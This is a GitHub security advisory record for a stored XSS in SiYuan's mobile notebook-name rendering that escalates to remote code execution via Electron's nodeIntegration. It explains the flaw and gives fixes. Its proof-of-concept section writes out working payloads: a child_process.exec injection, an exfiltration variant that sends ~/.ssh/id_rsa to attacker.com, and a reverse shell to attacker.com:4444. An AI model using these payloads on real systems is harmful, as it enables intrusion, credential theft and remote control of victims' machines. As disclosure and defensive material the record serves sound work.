{"schema_version":"1.7.5","id":"GHSA-qr46-rcv3-4hq3","published":"2026-03-16T18:47:37Z","modified":"2026-03-30T13:58:50Z","aliases":["CVE-2026-32751","GO-2026-4706"],"summary":"SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface","details":"# Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface\n\n## Summary\n\nSiYuan's mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.\n\nSince Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to **full remote code execution**. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.\n\n## Affected Component\n\n- **Vulnerable file:** `app/src/mobile/dock/MobileFiles.ts:77`\n- **Safe counterpart:** `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`)\n- **Backend (no escaping):** `kernel/api/notebook.go:104-116` (`renameNotebook`)\n- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n- **Endpoint:** `POST /api/notebook/renameNotebook` (authenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Vulnerable Code\n\n### Mobile — no escaping (MobileFiles.ts:77)\n\n```typescript\ncase \"renamenotebook\":\n    this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n    break;\n```\n\n### Desktop — properly escaped (Files.ts:104)\n\n```typescript\ncase \"renamenotebook\":\n    this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n    break;\n```\n\n### Backend — sends unescaped name (notebook.go:104-116)\n\n```go\nfunc renameNotebook(c *gin.Context) {\n    // ...\n    name := arg[\"name\"].(string)\n    err := model.RenameBox(notebook, name)\n    // ...\n    evt := util.NewCmdResult(\"renamenotebook\", 0, util.PushModeBroadcast)\n    evt.Data = map[string]interface{}{\n        \"box\":  notebook,\n        \"name\": name,  // Unescaped — sent directly to all clients\n    }\n    util.PushEvent(evt)\n}\n```\n\n`model.RenameBox()` only validates length (512 chars max) and emptiness — no HTML sanitization.\n\n### Electron — Node.js in renderer (main.js:422-426)\n\n```javascript\nwebPreferences: {\n    nodeIntegration: true,\n    webviewTag: true,\n    webSecurity: false,\n    contextIsolation: false,\n}\n```\n\nAny JavaScript executed via innerHTML has full access to `require('child_process')`, `require('fs')`, `require('net')`, etc.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker).**\n\n### 1. Set malicious notebook name (RCE payload)\n\n```http\nPOST /api/notebook/renameNotebook HTTP/1.1\nContent-Type: application/json\nCookie: siyuan=<session>\n\n{\n    \"notebook\": \"<NOTEBOOK_ID>\",\n    \"name\": \"<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n}\n```\n\nOn Linux/macOS:\n```json\n{\n    \"notebook\": \"<NOTEBOOK_ID>\",\n    \"name\": \"<img src=x onerror=\\\"require('child_process').exec('id > /tmp/pwned')\\\">\"\n}\n```\n\n**Confirmed:** API accepts the name without escaping. The `renamenotebook` WebSocket event broadcasts the raw HTML to all connected clients.\n\n### 2. Mobile client renders and executes\n\nWhen any mobile client receives the `renamenotebook` event, `MobileFiles.ts:77` sets `innerHTML = data.data.name`. The `<img>` tag's `src=x` fails to load, triggering `onerror` which calls `require('child_process').exec()` — **arbitrary OS command execution**.\n\n### 3. Verified event content\n\n```python\n# Unauthenticated WebSocket listener receives:\n{\n    \"cmd\": \"renamenotebook\",\n    \"data\": {\n        \"box\": \"20260309161535-do8qg95\",\n        \"name\": \"<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n    }\n}\n```\n\nThe HTML/JS payload is preserved verbatim in the WebSocket event.\n\n### 4. Data exfiltration variant\n\n```json\n{\n    \"notebook\": \"<NOTEBOOK_ID>\",\n    \"name\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\\\">\"\n}\n```\n\n### 5. Reverse shell variant\n\n```json\n{\n    \"notebook\": \"<NOTEBOOK_ID>\",\n    \"name\": \"<img src=x onerror=\\\"require('child_process').exec('bash -c \\\\\\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\\\\\"')\\\">\"\n}\n```\n\n## Attack Scenario\n\n1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload\n2. The `renamenotebook` event broadcasts the payload to ALL connected clients\n3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload\n4. `nodeIntegration: true` gives the injected JavaScript full OS access\n5. Attacker achieves arbitrary command execution on the victim's machine\n\n**Persistence:** The notebook name is stored in the notebook's `.siyuan/conf.json`. The payload re-triggers every time the file tree renders on mobile — it survives restarts.\n\n**Sync vector:** If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.0)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Full remote code execution on Electron desktop via `nodeIntegration: true`\n- Stored XSS — notebook names persist across sessions and survive restarts\n- Propagates via cloud sync to all synced devices\n- Affects all mobile interface users and desktop users in mobile/narrow layout\n- Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)\n- Can steal files, credentials, SSH keys, install backdoors, open reverse shells\n\n## Suggested Fix\n\n### 1. Apply the same escaping used in the desktop version\n\n```typescript\n// Before (vulnerable):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n\n// After (fixed):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n```\n\n### 2. Sanitize notebook names on the backend\n\n```go\nfunc RenameBox(boxID, name string) (err error) {\n    name = util.EscapeHTML(name)  // Sanitize at the source\n    // ...\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n    nodeIntegration: false,\n    contextIsolation: true,\n    sandbox: true,\n}\n```","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.0-20260313024916-fd6526133bb3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-qr46-rcv3-4hq3/GHSA-qr46-rcv3-4hq3.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qr46-rcv3-4hq3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32751"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/f6d35103f774b65e52f03e018649ff0e57924fb0"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-03-16T18:47:37Z","nvd_published_at":"2026-03-19T22:16:41Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}]}